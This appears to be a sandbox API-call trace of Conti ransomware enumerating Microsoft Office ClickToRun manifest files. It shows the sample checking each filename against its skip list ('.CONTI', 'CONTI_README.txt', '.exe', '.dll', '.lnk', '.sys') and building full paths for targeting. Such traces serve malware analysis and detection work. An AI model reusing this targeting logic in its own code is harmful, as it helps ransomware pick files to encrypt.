	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.es-es.xml", lpSrch=".CONTI") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.es-es.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.es-es.xml", lpSrch=".exe") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.es-es.xml", lpSrch=".dll") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.es-es.xml", lpSrch=".lnk") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.es-es.xml", lpSrch=".sys") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.es-es.xml", lpSrch=".CONTI") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.es-es.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.789] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.789] lstrlenW (lpString="C2RManifest.Proof.Culture.msi.16.es-es.xml") returned 42
	[0098.789] GetProcessHeap () returned 0x1720000
	[0098.789] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xec) returned 0x17e5628
	[0098.789] lstrcpyW (in: lpString1=0x17e5628, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.789] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.789] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.Proof.Culture.msi.16.es-es.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml"
	[0098.790] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed067a9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed067a9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3999a72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", cAlternateFileName="C2BAB3~1.XML")) returned 1
	[0098.790] lstrcmpiW (lpString1="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpString2=".") returned 1
	[0098.790] lstrcmpiW (lpString1="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpString2="..") returned 1
	[0098.790] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpSrch=".CONTI") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpSrch=".exe") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpSrch=".dll") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpSrch=".lnk") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpSrch=".sys") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpSrch=".CONTI") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.790] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.790] lstrlenW (lpString="C2RManifest.Proof.Culture.msi.16.fr-fr.xml") returned 42
	[0098.790] GetProcessHeap () returned 0x1720000
	[0098.790] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xec) returned 0x17e5720
	[0098.790] lstrcpyW (in: lpString1=0x17e5720, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.790] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.790] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.Proof.Culture.msi.16.fr-fr.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml"
	[0098.790] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37f6035, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.proofing.msi.16.en-us.xml", cAlternateFileName="C24618~1.XML")) returned 1
	[0098.790] lstrcmpiW (lpString1="C2RManifest.proofing.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.790] lstrcmpiW (lpString1="C2RManifest.proofing.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.790] StrStrIW (lpFirst="C2RManifest.proofing.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.proofing.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.proofing.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.proofing.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.proofing.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.proofing.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.proofing.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.790] StrStrIW (lpFirst="C2RManifest.proofing.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.790] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.790] lstrlenW (lpString="C2RManifest.proofing.msi.16.en-us.xml") returned 37
	[0098.791] GetProcessHeap () returned 0x1720000
	[0098.791] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe2) returned 0x17e5818
	[0098.791] lstrcpyW (in: lpString1=0x17e5818, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.791] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.791] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.proofing.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml"
	[0098.791] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b97d2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e4a, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", cAlternateFileName="C2C6D1~1.XML")) returned 1
	[0098.791] lstrcmpiW (lpString1="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.791] lstrcmpiW (lpString1="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.791] StrStrIW (lpFirst="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.791] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.791] lstrlenW (lpString="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml") returned 56
	[0098.791] GetProcessHeap () returned 0x1720000
	[0098.791] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x108) returned 0x17e5908
	[0098.791] lstrcpyW (in: lpString1=0x17e5908, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.791] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.791] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml"
	[0098.791] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37374c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.publishermui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~4.XML")) returned 1
	[0098.791] lstrcmpiW (lpString1="C2RManifest.publishermui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.791] lstrcmpiW (lpString1="C2RManifest.publishermui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.791] StrStrIW (lpFirst="C2RManifest.publishermui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.publishermui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.publishermui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.publishermui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.publishermui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.publishermui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.791] StrStrIW (lpFirst="C2RManifest.publishermui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.792] StrStrIW (lpFirst="C2RManifest.publishermui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.792] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.792] lstrlenW (lpString="C2RManifest.publishermui.msi.16.en-us.xml") returned 41
	[0098.792] GetProcessHeap () returned 0x1720000
	[0098.792] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xea) returned 0x17e5a18
	[0098.792] lstrcpyW (in: lpString1=0x17e5a18, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.792] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.792] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.publishermui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml"
	[0098.792] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29ce0e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb27ee, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~3.XML")) returned 1
	[0098.792] lstrcmpiW (lpString1="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.792] lstrcmpiW (lpString1="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.792] StrStrIW (lpFirst="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.792] StrStrIW (lpFirst="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.792] StrStrIW (lpFirst="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.792] StrStrIW (lpFirst="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.792] StrStrIW (lpFirst="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.792] StrStrIW (lpFirst="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.792] StrStrIW (lpFirst="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.792] StrStrIW (lpFirst="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.792] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.792] lstrlenW (lpString="C2RManifest.shared.Office.x-none.msi.16.x-none.xml") returned 50
	[0098.792] GetProcessHeap () returned 0x1720000
	[0098.792] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xfc) returned 0x17e5b10
	[0098.792] lstrcpyW (in: lpString1=0x17e5b10, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.792] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.792] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.shared.Office.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml"
	[0098.792] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a705a3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a705a3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x11cbd0e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2aafe, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", cAlternateFileName="C2668D~1.XML")) returned 1
	[0098.792] lstrcmpiW (lpString1="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.792] lstrcmpiW (lpString1="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.792] StrStrIW (lpFirst="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.792] StrStrIW (lpFirst="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.792] StrStrIW (lpFirst="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.793] StrStrIW (lpFirst="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.793] StrStrIW (lpFirst="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.793] StrStrIW (lpFirst="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.793] StrStrIW (lpFirst="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.793] StrStrIW (lpFirst="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.793] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.793] lstrlenW (lpString="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml") returned 48
	[0098.793] GetProcessHeap () returned 0x1720000
	[0098.793] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xf8) returned 0x17e5c18
	[0098.793] lstrcpyW (in: lpString1=0x17e5c18, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.793] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.793] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml"
	[0098.793] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1218203, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf0cb4, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.visiomui.msi.16.en-us.xml", cAlternateFileName="C2A712~1.XML")) returned 1
	[0098.793] lstrcmpiW (lpString1="C2RManifest.visiomui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.793] lstrcmpiW (lpString1="C2RManifest.visiomui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.793] StrStrIW (lpFirst="C2RManifest.visiomui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.793] StrStrIW (lpFirst="C2RManifest.visiomui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.793] StrStrIW (lpFirst="C2RManifest.visiomui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.793] StrStrIW (lpFirst="C2RManifest.visiomui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.793] StrStrIW (lpFirst="C2RManifest.visiomui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.793] StrStrIW (lpFirst="C2RManifest.visiomui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.793] StrStrIW (lpFirst="C2RManifest.visiomui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.793] StrStrIW (lpFirst="C2RManifest.visiomui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.793] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.793] lstrlenW (lpString="C2RManifest.visiomui.msi.16.en-us.xml") returned 37
	[0098.793] GetProcessHeap () returned 0x1720000
	[0098.793] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe2) returned 0x17e5d18
	[0098.793] lstrcpyW (in: lpString1=0x17e5d18, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.793] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.793] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.visiomui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml"
